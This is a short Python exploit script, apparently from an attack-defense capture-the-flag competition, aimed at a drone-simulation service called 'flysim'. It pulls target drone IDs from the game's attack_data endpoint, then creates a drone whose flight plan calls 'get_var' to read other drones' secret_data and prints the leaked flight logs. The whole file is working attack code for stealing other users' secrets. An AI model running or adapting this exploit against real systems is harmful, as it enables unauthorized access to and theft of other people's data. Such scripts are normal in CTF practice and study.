23 lines
654 B
Python
Executable File
23 lines
654 B
Python
Executable File
#!/usr/bin/env python3
|
|
|
|
import requests
|
|
import sys
|
|
import drone_client
|
|
import time
|
|
import json
|
|
|
|
IP = sys.argv[1]
|
|
drone_ids = requests.get("http://10.10.10.10/api/client/attack_data/").json()["flysim"][
|
|
IP
|
|
]
|
|
fp = "\n".join([f"0 get_var {d} secret_data" for d in drone_ids])
|
|
|
|
client = drone_client.DroneClient(ip=IP)
|
|
client.create_drone(label="qweqwe11", secret_data="qweqwe", flight_plan=fp)
|
|
client.connect_to_drone()
|
|
|
|
drone_obj_with_secret = client.wait_for_data_msg(timeout=30)
|
|
print(drone_obj_with_secret["flight_log"], flush=True)
|
|
drone_obj_with_secret = client.wait_for_data_msg(timeout=30)
|
|
print(drone_obj_with_secret["flight_log"], flush=True)
|